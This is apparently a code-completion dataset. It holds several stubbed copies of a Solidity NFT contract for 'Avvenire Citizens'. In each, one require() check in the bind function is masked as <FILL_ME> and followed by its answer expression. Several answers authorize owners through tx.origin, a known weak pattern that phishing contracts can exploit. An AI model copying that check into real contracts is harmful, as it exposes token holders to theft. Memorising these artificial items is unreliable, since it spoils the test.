origin owns the citizen (this function will be called multiple times) * Also, this does not set the character up for changing. It is assumed that many traits will be bound for a character to be changed, so the character should be requested to change once. * @param citizenId gets the citizen * @param traitId for the trait * @param traitType for the trait's type */ function bind( uint256 citizenId, uint256 traitId, Sex sex, TraitType traitType ) external callerIsAllowed stoppedInEmergency { } /** * @notice external safemint function for allowed contracts * @param address_ for where to mint to * @param quantity_ for the amount */ function safeMint(address address_, uint256 quantity_) external callerIsAllowed stoppedInEmergency { } /** * @notice returns the number minted from specified address * @param owner an address of an owner in the NFT collection */ function numberMinted(address owner) public view returns (uint256) { } /** * @notice Returns a struct, which contains a token owner's address and the time they acquired the token * @param tokenId the tokenID */ function getOwnershipData( uint256 tokenId // storing all the old ownership ) external view returns (TokenOwnership memory) { } /** * @notice This overrides the token transfers to check some conditions * @param from indicates the previous address * @param to indicates the new address * @param startTokenId indicates the first token id * @param quantity shows how many tokens have been minted */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal override { } /** * @notice setter for emergency stop */ function setEmergencyStop(bool _isStopped) external onlyOwner { } /** * @notice gets rid of the loops used in the ownerOf function in the ERC721A standard * @param quantity the number of tokens that you want to eliminate the loops for */ function setOwnersExplicit(uint256 quantity) external callerIsAllowed { } /** * @notice function that gets the total supply from the ERC721A contract */ function getTotalSupply() external view returns (uint256) { } /** * @notice Sets the mint uri * @param baseURI_ represents the new base uri */ function setBaseURI(string calldata baseURI_) external onlyOwner { } /** * @notice Sets the load uri * @param loadURI_ represents the new load uri */ function setLoadURI(string calldata loadURI_) external onlyOwner { } /** * @notice Sets the receivingAddress * @param receivingAddress_ is the new receiving address */ function setReceivingAddress(address receivingAddress_) external onlyOwner { } /** * @notice sets an address's allowed list permission (for future interaction) * @param address_ is the address to set the data for * @param setting is the boolean for the data */ function setAllowedPermission(address address_, bool setting) external onlyOwner { } /** * @notice function to withdraw the money from the contract. Only callable by the owner */ function withdrawMoney() external onlyOwner nonReentrant { } /** * @notice getter function for citizen data * @param tokenId the citizen's id */ function getCitizen(uint256 tokenId) external view returns (Citizen memory) { } /** * @notice a burn function to burn an nft. The tx.origin must be the owner * @param tokenId the desired token to be burned */ function burn(uint256 tokenId) external callerIsAllowed { } /** * @notice getter function for number of tokens that a user has burned * @param _owner the user's address */ function numberBurned(address _owner) external view returns (uint256) { } } // End of contract
ownerOf(tokenId)==tx.origin,"Not owner"
98,913
ownerOf(tokenId)==tx.origin
"Trait doesn't exist"
// SPDX-License-Identifier: MIT /** * @title Avvenire Citizens Contract */ pragma solidity ^0.8.4; import "AvvenireCitizensInterface.sol"; import "Ownable.sol"; import "ERC721A.sol"; // _setOwnersExplicit( ) moved from the ERC721A contract to an extension import "ERC721AOwnersExplicit.sol"; import "Strings.sol"; import "ReentrancyGuard.sol"; error TraitTypeDoesNotExist(); error TransferFailed(); error ChangeAlreadyRequested(); error NotSender(); // error InsufficcientFunds(); // token mutator changes the way that an ERC721A contract interacts with tokens contract AvvenireCitizens is Ownable, ERC721A, ERC721AOwnersExplicit, ReentrancyGuard, AvvenireCitizensInterface { // events event ChangeRequested(uint256 tokenId, address contractAddress, address sender); event TraitBound(uint256 citizenId, uint256 traitId, TraitType traitType); string baseURI; // a uri for minting, but this allows the contract owner to change it later string public loadURI; // a URI that the NFT will be set to while waiting for changes address payable receivingAddress; // the address that collects the cost of the mutation bool public isStopped; // Data contract AvvenireCitizensMappingsInterface public avvenireCitizensData; // Traits contract AvvenireTraitsInterface public avvenireTraits; // mapping for allowing other contracts to interact with this one mapping(address => bool) private allowedContracts; // Designated # of citizens; **** Needs to be set to immutable following testings **** constructor( string memory ERC721Name_, string memory ERC721AId_, string memory baseURI_, string memory loadURI_, address dataContractAddress_, address traitContractAddress_ ) ERC721A(ERC721Name_, ERC721AId_) Ownable() { } /** Modifier to check if the contract is allowed to call this contract */ modifier callerIsAllowed() { } modifier stoppedInEmergency { } /** * @notice returns the tokenURI of a token id (overrides ERC721 function) * @param tokenId allows the user to request the tokenURI for a particular token id */ function tokenURI(uint256 tokenId) public view override returns (string memory) { } /** * @notice Requests a change for a token * @param tokenId allows the user to request a change using their token id */ function requestChange(uint256 tokenId) external payable callerIsAllowed { } function _requestChange(uint256 tokenId) internal { } /** * @notice Set the citizen data (id, uri, any traits) * note: can't just set the uri, because we need to set the sex also (after the first combination) * @param citizen allows a contract to set the citizen's uri to a new one * @param changeUpdate sets the change data to the correct boolean (allows the option to set the changes to false after something has been updated OR keep it at true if the update isn't done) */ function setCitizenData(Citizen memory citizen, bool changeUpdate) external callerIsAllowed stoppedInEmergency { } /** * @notice internal function for getting the default trait (mostly for creating new citizens, waste of compute for creating new traits) * @param originCitizenId for backwards ipfs mapping * @param sex for compatibility * @param traitType for compatibility * @param exists for tracking if the trait actually exists */ function baseTrait( uint256 originCitizenId, Sex sex, TraitType traitType, bool exists ) internal returns (Trait memory) { } /** * @notice internal function to create a new citizen * @param tokenId (for binding the token id) */ function createNewCitizen(uint256 tokenId) internal { } /** * @notice internal function to make traits transferrable (used when binding traits) * checks that a trait exists (makes user unable to set a default to a default) * @param traitId for locating the trait * @param exists for if the trait exists */ function _makeTraitTransferable(uint256 traitId, bool exists) internal { } /** * @notice internal function to make traits non-transferrable * checks that a trait exists (makes user unable to set a default to a default) * @param traitId to indicate which trait to change */ function _makeTraitNonTransferrable(uint256 traitId) internal { } /** * @notice a function to bind a tokenId to a citizen (used in combining) * Note: the tokenId must exist, this does not create new tokens (use spawn traits for that) * going to assume that the transaction origin owns the citizen (this function will be called multiple times) * Also, this does not set the character up for changing. It is assumed that many traits will be bound for a character to be changed, so the character should be requested to change once. * @param citizenId gets the citizen * @param traitId for the trait * @param traitType for the trait's type */ function bind( uint256 citizenId, uint256 traitId, Sex sex, TraitType traitType ) external callerIsAllowed stoppedInEmergency { // if binding non-empty trait, must require the correct sex and ensure that the tokenId exists if (traitId != 0) { // check if the trait exists require(<FILL_ME>) // ensure that the trait and citizen have the same sex require(avvenireCitizensData.getCitizen(citizenId).sex == avvenireCitizensData.getTrait(traitId).sex, "Sex mismatch"); } // check each of the types and bind them accordingly // this logic costs gas, as these are already checked in the market contract Trait memory _trait; // Set _trait according to its respective id if (traitId == 0) { // this trait does not exist, just set it to the default struct _trait = Trait({ tokenId: traitId, originCitizenId: 0, // no need for an origin citizen, it's a default uri: "", free: false, exists: false, sex: sex, traitType: traitType }); } else { // check the owner of the trait require(avvenireTraits.isOwnerOf(traitId) == tx.origin, "The transaction origin does not own the trait"); // the trait exists and can be found // disallow trading of the bound trait _makeTraitNonTransferrable(traitId); _trait = avvenireCitizensData.getTrait(traitId); // require that the trait's type is the same type as the trait Id (if the user tries to put traits on the wrong parts of NFTs) require(_trait.traitType == traitType, "Trait type does not match trait id"); } Citizen memory _citizen = avvenireCitizensData.getCitizen(citizenId); // *** // Set all respective traits to free, set temporary _citizen's traits to the respective change // *** if (traitType == TraitType.BACKGROUND) { // make the old trait transferrable _makeTraitTransferable(_citizen.traits.background.tokenId, _citizen.traits.background.exists); _citizen.traits.background = _trait; } else if (traitType == TraitType.BODY) { // make the old trait transferrable _makeTraitTransferable(_citizen.traits.body.tokenId, _citizen.traits.body.exists); _citizen.traits.body = _trait; } else if (traitType == TraitType.TATTOO) { // make the old trait transferrable _makeTraitTransferable(_citizen.traits.tattoo.tokenId, _citizen.traits.tattoo.exists); _citizen.traits.tattoo = _trait; } else if (traitType == TraitType.EYES) { // make the old trait transferrable _makeTraitTransferable(_citizen.traits.eyes.tokenId, _citizen.traits.eyes.exists); _citizen.traits.eyes = _trait; } else if (traitType == TraitType.MOUTH) { // make the old trait transferrable _makeTraitTransferable(_citizen.traits.mouth.tokenId, _citizen.traits.mouth.exists); _citizen.traits.mouth = _trait; } else if (traitType == TraitType.MASK) { // make the old trait transferrable _makeTraitTransferable(_citizen.traits.mask.tokenId, _citizen.traits.mask.exists); _citizen.traits.mask = _trait; } else if (traitType == TraitType.NECKLACE) { // make the old trait transferrable _makeTraitTransferable(_citizen.traits.necklace.tokenId, _citizen.traits.necklace.exists); _citizen.traits.necklace = _trait; } else if (traitType == TraitType.CLOTHING) { // make the old trait transferrable _makeTraitTransferable(_citizen.traits.clothing.tokenId, _citizen.traits.clothing.exists); _citizen.traits.clothing = _trait; } else if (traitType == TraitType.EARRINGS) { // make the old trait transferrable _makeTraitTransferable(_citizen.traits.earrings.tokenId, _citizen.traits.earrings.exists); _citizen.traits.earrings = _trait; } else if (traitType == TraitType.HAIR) { // make the old trait transferrable _makeTraitTransferable(_citizen.traits.hair.tokenId, _citizen.traits.hair.exists); _citizen.traits.hair = _trait; } else if (traitType == TraitType.EFFECT) { // make the old trait transferrable _makeTraitTransferable(_citizen.traits.effect.tokenId, _citizen.traits.effect.exists); _citizen.traits.effect = _trait; } else { // return an error that the trait type does not exist revert TraitTypeDoesNotExist(); } // Finally set avvenireCitizensData.tokenIdToCitizen to _citizen avvenireCitizensData.setCitizen(_citizen); // emit that the trait was set emit TraitBound(_citizen.tokenId, _trait.tokenId, traitType); } /** * @notice external safemint function for allowed contracts * @param address_ for where to mint to * @param quantity_ for the amount */ function safeMint(address address_, uint256 quantity_) external callerIsAllowed stoppedInEmergency { } /** * @notice returns the number minted from specified address * @param owner an address of an owner in the NFT collection */ function numberMinted(address owner) public view returns (uint256) { } /** * @notice Returns a struct, which contains a token owner's address and the time they acquired the token * @param tokenId the tokenID */ function getOwnershipData( uint256 tokenId // storing all the old ownership ) external view returns (TokenOwnership memory) { } /** * @notice This overrides the token transfers to check some conditions * @param from indicates the previous address * @param to indicates the new address * @param startTokenId indicates the first token id * @param quantity shows how many tokens have been minted */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal override { } /** * @notice setter for emergency stop */ function setEmergencyStop(bool _isStopped) external onlyOwner { } /** * @notice gets rid of the loops used in the ownerOf function in the ERC721A standard * @param quantity the number of tokens that you want to eliminate the loops for */ function setOwnersExplicit(uint256 quantity) external callerIsAllowed { } /** * @notice function that gets the total supply from the ERC721A contract */ function getTotalSupply() external view returns (uint256) { } /** * @notice Sets the mint uri * @param baseURI_ represents the new base uri */ function setBaseURI(string calldata baseURI_) external onlyOwner { } /** * @notice Sets the load uri * @param loadURI_ represents the new load uri */ function setLoadURI(string calldata loadURI_) external onlyOwner { } /** * @notice Sets the receivingAddress * @param receivingAddress_ is the new receiving address */ function setReceivingAddress(address receivingAddress_) external onlyOwner { } /** * @notice sets an address's allowed list permission (for future interaction) * @param address_ is the address to set the data for * @param setting is the boolean for the data */ function setAllowedPermission(address address_, bool setting) external onlyOwner { } /** * @notice function to withdraw the money from the contract. Only callable by the owner */ function withdrawMoney() external onlyOwner nonReentrant { } /** * @notice getter function for citizen data * @param tokenId the citizen's id */ function getCitizen(uint256 tokenId) external view returns (Citizen memory) { } /** * @notice a burn function to burn an nft. The tx.origin must be the owner * @param tokenId the desired token to be burned */ function burn(uint256 tokenId) external callerIsAllowed { } /** * @notice getter function for number of tokens that a user has burned * @param _owner the user's address */ function numberBurned(address _owner) external view returns (uint256) { } } // End of contract
avvenireCitizensData.getTrait(traitId).exists,"Trait doesn't exist"
98,913
avvenireCitizensData.getTrait(traitId).exists
"Sex mismatch"
// SPDX-License-Identifier: MIT /** * @title Avvenire Citizens Contract */ pragma solidity ^0.8.4; import "AvvenireCitizensInterface.sol"; import "Ownable.sol"; import "ERC721A.sol"; // _setOwnersExplicit( ) moved from the ERC721A contract to an extension import "ERC721AOwnersExplicit.sol"; import "Strings.sol"; import "ReentrancyGuard.sol"; error TraitTypeDoesNotExist(); error TransferFailed(); error ChangeAlreadyRequested(); error NotSender(); // error InsufficcientFunds(); // token mutator changes the way that an ERC721A contract interacts with tokens contract AvvenireCitizens is Ownable, ERC721A, ERC721AOwnersExplicit, ReentrancyGuard, AvvenireCitizensInterface { // events event ChangeRequested(uint256 tokenId, address contractAddress, address sender); event TraitBound(uint256 citizenId, uint256 traitId, TraitType traitType); string baseURI; // a uri for minting, but this allows the contract owner to change it later string public loadURI; // a URI that the NFT will be set to while waiting for changes address payable receivingAddress; // the address that collects the cost of the mutation bool public isStopped; // Data contract AvvenireCitizensMappingsInterface public avvenireCitizensData; // Traits contract AvvenireTraitsInterface public avvenireTraits; // mapping for allowing other contracts to interact with this one mapping(address => bool) private allowedContracts; // Designated # of citizens; **** Needs to be set to immutable following testings **** constructor( string memory ERC721Name_, string memory ERC721AId_, string memory baseURI_, string memory loadURI_, address dataContractAddress_, address traitContractAddress_ ) ERC721A(ERC721Name_, ERC721AId_) Ownable() { } /** Modifier to check if the contract is allowed to call this contract */ modifier callerIsAllowed() { } modifier stoppedInEmergency { } /** * @notice returns the tokenURI of a token id (overrides ERC721 function) * @param tokenId allows the user to request the tokenURI for a particular token id */ function tokenURI(uint256 tokenId) public view override returns (string memory) { } /** * @notice Requests a change for a token * @param tokenId allows the user to request a change using their token id */ function requestChange(uint256 tokenId) external payable callerIsAllowed { } function _requestChange(uint256 tokenId) internal { } /** * @notice Set the citizen data (id, uri, any traits) * note: can't just set the uri, because we need to set the sex also (after the first combination) * @param citizen allows a contract to set the citizen's uri to a new one * @param changeUpdate sets the change data to the correct boolean (allows the option to set the changes to false after something has been updated OR keep it at true if the update isn't done) */ function setCitizenData(Citizen memory citizen, bool changeUpdate) external callerIsAllowed stoppedInEmergency { } /** * @notice internal function for getting the default trait (mostly for creating new citizens, waste of compute for creating new traits) * @param originCitizenId for backwards ipfs mapping * @param sex for compatibility * @param traitType for compatibility * @param exists for tracking if the trait actually exists */ function baseTrait( uint256 originCitizenId, Sex sex, TraitType traitType, bool exists ) internal returns (Trait memory) { } /** * @notice internal function to create a new citizen * @param tokenId (for binding the token id) */ function createNewCitizen(uint256 tokenId) internal { } /** * @notice internal function to make traits transferrable (used when binding traits) * checks that a trait exists (makes user unable to set a default to a default) * @param traitId for locating the trait * @param exists for if the trait exists */ function _makeTraitTransferable(uint256 traitId, bool exists) internal { } /** * @notice internal function to make traits non-transferrable * checks that a trait exists (makes user unable to set a default to a default) * @param traitId to indicate which trait to change */ function _makeTraitNonTransferrable(uint256 traitId) internal { } /** * @notice a function to bind a tokenId to a citizen (used in combining) * Note: the tokenId must exist, this does not create new tokens (use spawn traits for that) * going to assume that the transaction origin owns the citizen (this function will be called multiple times) * Also, this does not set the character up for changing. It is assumed that many traits will be bound for a character to be changed, so the character should be requested to change once. * @param citizenId gets the citizen * @param traitId for the trait * @param traitType for the trait's type */ function bind( uint256 citizenId, uint256 traitId, Sex sex, TraitType traitType ) external callerIsAllowed stoppedInEmergency { // if binding non-empty trait, must require the correct sex and ensure that the tokenId exists if (traitId != 0) { // check if the trait exists require(avvenireCitizensData.getTrait(traitId).exists, "Trait doesn't exist"); // ensure that the trait and citizen have the same sex require(<FILL_ME>) } // check each of the types and bind them accordingly // this logic costs gas, as these are already checked in the market contract Trait memory _trait; // Set _trait according to its respective id if (traitId == 0) { // this trait does not exist, just set it to the default struct _trait = Trait({ tokenId: traitId, originCitizenId: 0, // no need for an origin citizen, it's a default uri: "", free: false, exists: false, sex: sex, traitType: traitType }); } else { // check the owner of the trait require(avvenireTraits.isOwnerOf(traitId) == tx.origin, "The transaction origin does not own the trait"); // the trait exists and can be found // disallow trading of the bound trait _makeTraitNonTransferrable(traitId); _trait = avvenireCitizensData.getTrait(traitId); // require that the trait's type is the same type as the trait Id (if the user tries to put traits on the wrong parts of NFTs) require(_trait.traitType == traitType, "Trait type does not match trait id"); } Citizen memory _citizen = avvenireCitizensData.getCitizen(citizenId); // *** // Set all respective traits to free, set temporary _citizen's traits to the respective change // *** if (traitType == TraitType.BACKGROUND) { // make the old trait transferrable _makeTraitTransferable(_citizen.traits.background.tokenId, _citizen.traits.background.exists); _citizen.traits.background = _trait; } else if (traitType == TraitType.BODY) { // make the old trait transferrable _makeTraitTransferable(_citizen.traits.body.tokenId, _citizen.traits.body.exists); _citizen.traits.body = _trait; } else if (traitType == TraitType.TATTOO) { // make the old trait transferrable _makeTraitTransferable(_citizen.traits.tattoo.tokenId, _citizen.traits.tattoo.exists); _citizen.traits.tattoo = _trait; } else if (traitType == TraitType.EYES) { // make the old trait transferrable _makeTraitTransferable(_citizen.traits.eyes.tokenId, _citizen.traits.eyes.exists); _citizen.traits.eyes = _trait; } else if (traitType == TraitType.MOUTH) { // make the old trait transferrable _makeTraitTransferable(_citizen.traits.mouth.tokenId, _citizen.traits.mouth.exists); _citizen.traits.mouth = _trait; } else if (traitType == TraitType.MASK) { // make the old trait transferrable _makeTraitTransferable(_citizen.traits.mask.tokenId, _citizen.traits.mask.exists); _citizen.traits.mask = _trait; } else if (traitType == TraitType.NECKLACE) { // make the old trait transferrable _makeTraitTransferable(_citizen.traits.necklace.tokenId, _citizen.traits.necklace.exists); _citizen.traits.necklace = _trait; } else if (traitType == TraitType.CLOTHING) { // make the old trait transferrable _makeTraitTransferable(_citizen.traits.clothing.tokenId, _citizen.traits.clothing.exists); _citizen.traits.clothing = _trait; } else if (traitType == TraitType.EARRINGS) { // make the old trait transferrable _makeTraitTransferable(_citizen.traits.earrings.tokenId, _citizen.traits.earrings.exists); _citizen.traits.earrings = _trait; } else if (traitType == TraitType.HAIR) { // make the old trait transferrable _makeTraitTransferable(_citizen.traits.hair.tokenId, _citizen.traits.hair.exists); _citizen.traits.hair = _trait; } else if (traitType == TraitType.EFFECT) { // make the old trait transferrable _makeTraitTransferable(_citizen.traits.effect.tokenId, _citizen.traits.effect.exists); _citizen.traits.effect = _trait; } else { // return an error that the trait type does not exist revert TraitTypeDoesNotExist(); } // Finally set avvenireCitizensData.tokenIdToCitizen to _citizen avvenireCitizensData.setCitizen(_citizen); // emit that the trait was set emit TraitBound(_citizen.tokenId, _trait.tokenId, traitType); } /** * @notice external safemint function for allowed contracts * @param address_ for where to mint to * @param quantity_ for the amount */ function safeMint(address address_, uint256 quantity_) external callerIsAllowed stoppedInEmergency { } /** * @notice returns the number minted from specified address * @param owner an address of an owner in the NFT collection */ function numberMinted(address owner) public view returns (uint256) { } /** * @notice Returns a struct, which contains a token owner's address and the time they acquired the token * @param tokenId the tokenID */ function getOwnershipData( uint256 tokenId // storing all the old ownership ) external view returns (TokenOwnership memory) { } /** * @notice This overrides the token transfers to check some conditions * @param from indicates the previous address * @param to indicates the new address * @param startTokenId indicates the first token id * @param quantity shows how many tokens have been minted */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal override { } /** * @notice setter for emergency stop */ function setEmergencyStop(bool _isStopped) external onlyOwner { } /** * @notice gets rid of the loops used in the ownerOf function in the ERC721A standard * @param quantity the number of tokens that you want to eliminate the loops for */ function setOwnersExplicit(uint256 quantity) external callerIsAllowed { } /** * @notice function that gets the total supply from the ERC721A contract */ function getTotalSupply() external view returns (uint256) { } /** * @notice Sets the mint uri * @param baseURI_ represents the new base uri */ function setBaseURI(string calldata baseURI_) external onlyOwner { } /** * @notice Sets the load uri * @param loadURI_ represents the new load uri */ function setLoadURI(string calldata loadURI_) external onlyOwner { } /** * @notice Sets the receivingAddress * @param receivingAddress_ is the new receiving address */ function setReceivingAddress(address receivingAddress_) external onlyOwner { } /** * @notice sets an address's allowed list permission (for future interaction) * @param address_ is the address to set the data for * @param setting is the boolean for the data */ function setAllowedPermission(address address_, bool setting) external onlyOwner { } /** * @notice function to withdraw the money from the contract. Only callable by the owner */ function withdrawMoney() external onlyOwner nonReentrant { } /** * @notice getter function for citizen data * @param tokenId the citizen's id */ function getCitizen(uint256 tokenId) external view returns (Citizen memory) { } /** * @notice a burn function to burn an nft. The tx.origin must be the owner * @param tokenId the desired token to be burned */ function burn(uint256 tokenId) external callerIsAllowed { } /** * @notice getter function for number of tokens that a user has burned * @param _owner the user's address */ function numberBurned(address _owner) external view returns (uint256) { } } // End of contract
avvenireCitizensData.getCitizen(citizenId).sex==avvenireCitizensData.getTrait(traitId).sex,"Sex mismatch"
98,913
avvenireCitizensData.getCitizen(citizenId).sex==avvenireCitizensData.getTrait(traitId).sex
"The transaction origin does not own the trait"
// SPDX-License-Identifier: MIT /** * @title Avvenire Citizens Contract */ pragma solidity ^0.8.4; import "AvvenireCitizensInterface.sol"; import "Ownable.sol"; import "ERC721A.sol"; // _setOwnersExplicit( ) moved from the ERC721A contract to an extension import "ERC721AOwnersExplicit.sol"; import "Strings.sol"; import "ReentrancyGuard.sol"; error TraitTypeDoesNotExist(); error TransferFailed(); error ChangeAlreadyRequested(); error NotSender(); // error InsufficcientFunds(); // token mutator changes the way that an ERC721A contract interacts with tokens contract AvvenireCitizens is Ownable, ERC721A, ERC721AOwnersExplicit, ReentrancyGuard, AvvenireCitizensInterface { // events event ChangeRequested(uint256 tokenId, address contractAddress, address sender); event TraitBound(uint256 citizenId, uint256 traitId, TraitType traitType); string baseURI; // a uri for minting, but this allows the contract owner to change it later string public loadURI; // a URI that the NFT will be set to while waiting for changes address payable receivingAddress; // the address that collects the cost of the mutation bool public isStopped; // Data contract AvvenireCitizensMappingsInterface public avvenireCitizensData; // Traits contract AvvenireTraitsInterface public avvenireTraits; // mapping for allowing other contracts to interact with this one mapping(address => bool) private allowedContracts; // Designated # of citizens; **** Needs to be set to immutable following testings **** constructor( string memory ERC721Name_, string memory ERC721AId_, string memory baseURI_, string memory loadURI_, address dataContractAddress_, address traitContractAddress_ ) ERC721A(ERC721Name_, ERC721AId_) Ownable() { } /** Modifier to check if the contract is allowed to call this contract */ modifier callerIsAllowed() { } modifier stoppedInEmergency { } /** * @notice returns the tokenURI of a token id (overrides ERC721 function) * @param tokenId allows the user to request the tokenURI for a particular token id */ function tokenURI(uint256 tokenId) public view override returns (string memory) { } /** * @notice Requests a change for a token * @param tokenId allows the user to request a change using their token id */ function requestChange(uint256 tokenId) external payable callerIsAllowed { } function _requestChange(uint256 tokenId) internal { } /** * @notice Set the citizen data (id, uri, any traits) * note: can't just set the uri, because we need to set the sex also (after the first combination) * @param citizen allows a contract to set the citizen's uri to a new one * @param changeUpdate sets the change data to the correct boolean (allows the option to set the changes to false after something has been updated OR keep it at true if the update isn't done) */ function setCitizenData(Citizen memory citizen, bool changeUpdate) external callerIsAllowed stoppedInEmergency { } /** * @notice internal function for getting the default trait (mostly for creating new citizens, waste of compute for creating new traits) * @param originCitizenId for backwards ipfs mapping * @param sex for compatibility * @param traitType for compatibility * @param exists for tracking if the trait actually exists */ function baseTrait( uint256 originCitizenId, Sex sex, TraitType traitType, bool exists ) internal returns (Trait memory) { } /** * @notice internal function to create a new citizen * @param tokenId (for binding the token id) */ function createNewCitizen(uint256 tokenId) internal { } /** * @notice internal function to make traits transferrable (used when binding traits) * checks that a trait exists (makes user unable to set a default to a default) * @param traitId for locating the trait * @param exists for if the trait exists */ function _makeTraitTransferable(uint256 traitId, bool exists) internal { } /** * @notice internal function to make traits non-transferrable * checks that a trait exists (makes user unable to set a default to a default) * @param traitId to indicate which trait to change */ function _makeTraitNonTransferrable(uint256 traitId) internal { } /** * @notice a function to bind a tokenId to a citizen (used in combining) * Note: the tokenId must exist, this does not create new tokens (use spawn traits for that) * going to assume that the transaction origin owns the citizen (this function will be called multiple times) * Also, this does not set the character up for changing. It is assumed that many traits will be bound for a character to be changed, so the character should be requested to change once. * @param citizenId gets the citizen * @param traitId for the trait * @param traitType for the trait's type */ function bind( uint256 citizenId, uint256 traitId, Sex sex, TraitType traitType ) external callerIsAllowed stoppedInEmergency { // if binding non-empty trait, must require the correct sex and ensure that the tokenId exists if (traitId != 0) { // check if the trait exists require(avvenireCitizensData.getTrait(traitId).exists, "Trait doesn't exist"); // ensure that the trait and citizen have the same sex require(avvenireCitizensData.getCitizen(citizenId).sex == avvenireCitizensData.getTrait(traitId).sex, "Sex mismatch"); } // check each of the types and bind them accordingly // this logic costs gas, as these are already checked in the market contract Trait memory _trait; // Set _trait according to its respective id if (traitId == 0) { // this trait does not exist, just set it to the default struct _trait = Trait({ tokenId: traitId, originCitizenId: 0, // no need for an origin citizen, it's a default uri: "", free: false, exists: false, sex: sex, traitType: traitType }); } else { // check the owner of the trait require(<FILL_ME>) // the trait exists and can be found // disallow trading of the bound trait _makeTraitNonTransferrable(traitId); _trait = avvenireCitizensData.getTrait(traitId); // require that the trait's type is the same type as the trait Id (if the user tries to put traits on the wrong parts of NFTs) require(_trait.traitType == traitType, "Trait type does not match trait id"); } Citizen memory _citizen = avvenireCitizensData.getCitizen(citizenId); // *** // Set all respective traits to free, set temporary _citizen's traits to the respective change // *** if (traitType == TraitType.BACKGROUND) { // make the old trait transferrable _makeTraitTransferable(_citizen.traits.background.tokenId, _citizen.traits.background.exists); _citizen.traits.background = _trait; } else if (traitType == TraitType.BODY) { // make the old trait transferrable _makeTraitTransferable(_citizen.traits.body.tokenId, _citizen.traits.body.exists); _citizen.traits.body = _trait; } else if (traitType == TraitType.TATTOO) { // make the old trait transferrable _makeTraitTransferable(_citizen.traits.tattoo.tokenId, _citizen.traits.tattoo.exists); _citizen.traits.tattoo = _trait; } else if (traitType == TraitType.EYES) { // make the old trait transferrable _makeTraitTransferable(_citizen.traits.eyes.tokenId, _citizen.traits.eyes.exists); _citizen.traits.eyes = _trait; } else if (traitType == TraitType.MOUTH) { // make the old trait transferrable _makeTraitTransferable(_citizen.traits.mouth.tokenId, _citizen.traits.mouth.exists); _citizen.traits.mouth = _trait; } else if (traitType == TraitType.MASK) { // make the old trait transferrable _makeTraitTransferable(_citizen.traits.mask.tokenId, _citizen.traits.mask.exists); _citizen.traits.mask = _trait; } else if (traitType == TraitType.NECKLACE) { // make the old trait transferrable _makeTraitTransferable(_citizen.traits.necklace.tokenId, _citizen.traits.necklace.exists); _citizen.traits.necklace = _trait; } else if (traitType == TraitType.CLOTHING) { // make the old trait transferrable _makeTraitTransferable(_citizen.traits.clothing.tokenId, _citizen.traits.clothing.exists); _citizen.traits.clothing = _trait; } else if (traitType == TraitType.EARRINGS) { // make the old trait transferrable _makeTraitTransferable(_citizen.traits.earrings.tokenId, _citizen.traits.earrings.exists); _citizen.traits.earrings = _trait; } else if (traitType == TraitType.HAIR) { // make the old trait transferrable _makeTraitTransferable(_citizen.traits.hair.tokenId, _citizen.traits.hair.exists); _citizen.traits.hair = _trait; } else if (traitType == TraitType.EFFECT) { // make the old trait transferrable _makeTraitTransferable(_citizen.traits.effect.tokenId, _citizen.traits.effect.exists); _citizen.traits.effect = _trait; } else { // return an error that the trait type does not exist revert TraitTypeDoesNotExist(); } // Finally set avvenireCitizensData.tokenIdToCitizen to _citizen avvenireCitizensData.setCitizen(_citizen); // emit that the trait was set emit TraitBound(_citizen.tokenId, _trait.tokenId, traitType); } /** * @notice external safemint function for allowed contracts * @param address_ for where to mint to * @param quantity_ for the amount */ function safeMint(address address_, uint256 quantity_) external callerIsAllowed stoppedInEmergency { } /** * @notice returns the number minted from specified address * @param owner an address of an owner in the NFT collection */ function numberMinted(address owner) public view returns (uint256) { } /** * @notice Returns a struct, which contains a token owner's address and the time they acquired the token * @param tokenId the tokenID */ function getOwnershipData( uint256 tokenId // storing all the old ownership ) external view returns (TokenOwnership memory) { } /** * @notice This overrides the token transfers to check some conditions * @param from indicates the previous address * @param to indicates the new address * @param startTokenId indicates the first token id * @param quantity shows how many tokens have been minted */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal override { } /** * @notice setter for emergency stop */ function setEmergencyStop(bool _isStopped) external onlyOwner { } /** * @notice gets rid of the loops used in the ownerOf function in the ERC721A standard * @param quantity the number of tokens that you want to eliminate the loops for */ function setOwnersExplicit(uint256 quantity) external callerIsAllowed { } /** * @notice function that gets the total supply from the ERC721A contract */ function getTotalSupply() external view returns (uint256) { } /** * @notice Sets the mint uri * @param baseURI_ represents the new base uri */ function setBaseURI(string calldata baseURI_) external onlyOwner { } /** * @notice Sets the load uri * @param loadURI_ represents the new load uri */ function setLoadURI(string calldata loadURI_) external onlyOwner { } /** * @notice Sets the receivingAddress * @param receivingAddress_ is the new receiving address */ function setReceivingAddress(address receivingAddress_) external onlyOwner { } /** * @notice sets an address's allowed list permission (for future interaction) * @param address_ is the address to set the data for * @param setting is the boolean for the data */ function setAllowedPermission(address address_, bool setting) external onlyOwner { } /** * @notice function to withdraw the money from the contract. Only callable by the owner */ function withdrawMoney() external onlyOwner nonReentrant { } /** * @notice getter function for citizen data * @param tokenId the citizen's id */ function getCitizen(uint256 tokenId) external view returns (Citizen memory) { } /** * @notice a burn function to burn an nft. The tx.origin must be the owner * @param tokenId the desired token to be burned */ function burn(uint256 tokenId) external callerIsAllowed { } /** * @notice getter function for number of tokens that a user has burned * @param _owner the user's address */ function numberBurned(address _owner) external view returns (uint256) { } } // End of contract
avvenireTraits.isOwnerOf(traitId)==tx.origin,"The transaction origin does not own the trait"
98,913
avvenireTraits.isOwnerOf(traitId)==tx.origin
"Change requested"
